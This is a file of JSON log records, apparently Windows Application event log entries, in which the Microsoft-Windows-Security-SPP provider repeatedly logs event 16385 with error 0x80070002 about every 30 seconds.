{"@timestamp":1659014966537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172482}}
{"@timestamp":1659014996544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172483}}
{"@timestamp":1659015026550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172484}}
{"@timestamp":1659015056557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172485}}
{"@timestamp":1659015086564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172486}}
{"@timestamp":1659015116569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172487}}
{"@timestamp":1659015146578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172488}}
{"@timestamp":1659015176585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172489}}
{"@timestamp":1659015206592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172490}}
{"@timestamp":1659015236599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172491}}
{"@timestamp":1659015266608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172492}}
{"@timestamp":1659015296616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172493}}
{"@timestamp":1659015326623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172494}}
{"@timestamp":1659015356631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172495}}
{"@timestamp":1659015386638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172496}}
{"@timestamp":1659015416644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172497}}
{"@timestamp":1659015446651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172498}}
{"@timestamp":1659015476658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172499}}
{"@timestamp":1659015506665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172500}}
{"@timestamp":1659015536673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172501}}
{"@timestamp":1659015566680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172502}}
{"@timestamp":1659015596686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172503}}
{"@timestamp":1659015626694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172504}}
{"@timestamp":1659015656702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172505}}
{"@timestamp":1659015686708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172506}}
{"@timestamp":1659015716715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172507}}
{"@timestamp":1659015746723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172508}}
{"@timestamp":1659015776730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172509}}
{"@timestamp":1659015806737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172510}}
{"@timestamp":1659015836744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172511}}
{"@timestamp":1659015866751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172512}}
{"@timestamp":1659015896759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172513}}
{"@timestamp":1659015926765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172514}}
{"@timestamp":1659015956772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172515}}
{"@timestamp":1659015986780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172516}}
{"@timestamp":1659016016786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172517}}
{"@timestamp":1659016046793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172518}}
{"@timestamp":1659016076801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172519}}
{"@timestamp":1659016106807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172520}}
{"@timestamp":1659016136816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172521}}
{"@timestamp":1659016166822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172522}}
{"@timestamp":1659016196829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172523}}
{"@timestamp":1659016226836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172524}}
{"@timestamp":1659016256845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172525}}
{"@timestamp":1659016286851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172526}}
{"@timestamp":1659016316859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172527}}
{"@timestamp":1659016346865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172528}}
{"@timestamp":1659016376873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172529}}
{"@timestamp":1659016406880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172530}}
{"@timestamp":1659016436886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172531}}
{"@timestamp":1659016466894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172532}}
{"@timestamp":1659016496900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172533}}
{"@timestamp":1659016526906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172534}}
{"@timestamp":1659016556912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172535}}
{"@timestamp":1659016586918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172536}}
{"@timestamp":1659016616924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172537}}
{"@timestamp":1659016646930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172538}}
{"@timestamp":1659016676936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172539}}
{"@timestamp":1659016706944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172540}}
{"@timestamp":1659016736950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172541}}
{"@timestamp":1659016766957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172542}}
{"@timestamp":1659016796965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172543}}
{"@timestamp":1659016826972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172544}}
{"@timestamp":1659016856979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172545}}
{"@timestamp":1659016886987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172546}}
{"@timestamp":1659016916993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:56Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172547}}
{"@timestamp":1659016947000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:26Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172548}}
{"@timestamp":1659016977007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172549}}
{"@timestamp":1659017007015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172550}}
{"@timestamp":1659017037022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172551}}
{"@timestamp":1659017067028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172552}}
{"@timestamp":1659017097033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172553}}
{"@timestamp":1659017127039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172554}}
{"@timestamp":1659017157044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172555}}
{"@timestamp":1659017187050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172556}}
{"@timestamp":1659017217056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172557}}
{"@timestamp":1659017247063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172558}}
{"@timestamp":1659017277069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172559}}
{"@timestamp":1659017307075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172560}}
{"@timestamp":1659017337080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172561}}
{"@timestamp":1659017367089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172562}}
{"@timestamp":1659017397095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172563}}
{"@timestamp":1659017427101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172564}}
{"@timestamp":1659017457107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172565}}
{"@timestamp":1659017487113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172566}}
{"@timestamp":1659017517119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172567}}
{"@timestamp":1659017547126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172568}}
{"@timestamp":1659017577133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172569}}
{"@timestamp":1659017607139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172570}}
{"@timestamp":1659017637145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172571}}
{"@timestamp":1659017667151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172572}}
{"@timestamp":1659017697157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172573}}
{"@timestamp":1659017727164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172574}}
{"@timestamp":1659017757170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172575}}
{"@timestamp":1659017787177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172576}}
{"@timestamp":1659017817184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172577}}
{"@timestamp":1659017847191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172578}}
{"@timestamp":1659017877197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172579}}
{"@timestamp":1659017907205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172580}}
{"@timestamp":1659017937211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172581}}
{"@timestamp":1659017967217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172582}}
{"@timestamp":1659017997223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172583}}
{"@timestamp":1659018027229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172584}}
{"@timestamp":1659018057237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172585}}
{"@timestamp":1659018087243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172586}}
{"@timestamp":1659018117251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172587}}
{"@timestamp":1659018147259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172588}}
{"@timestamp":1659018177267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172589}}
{"@timestamp":1659018207289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172590}}
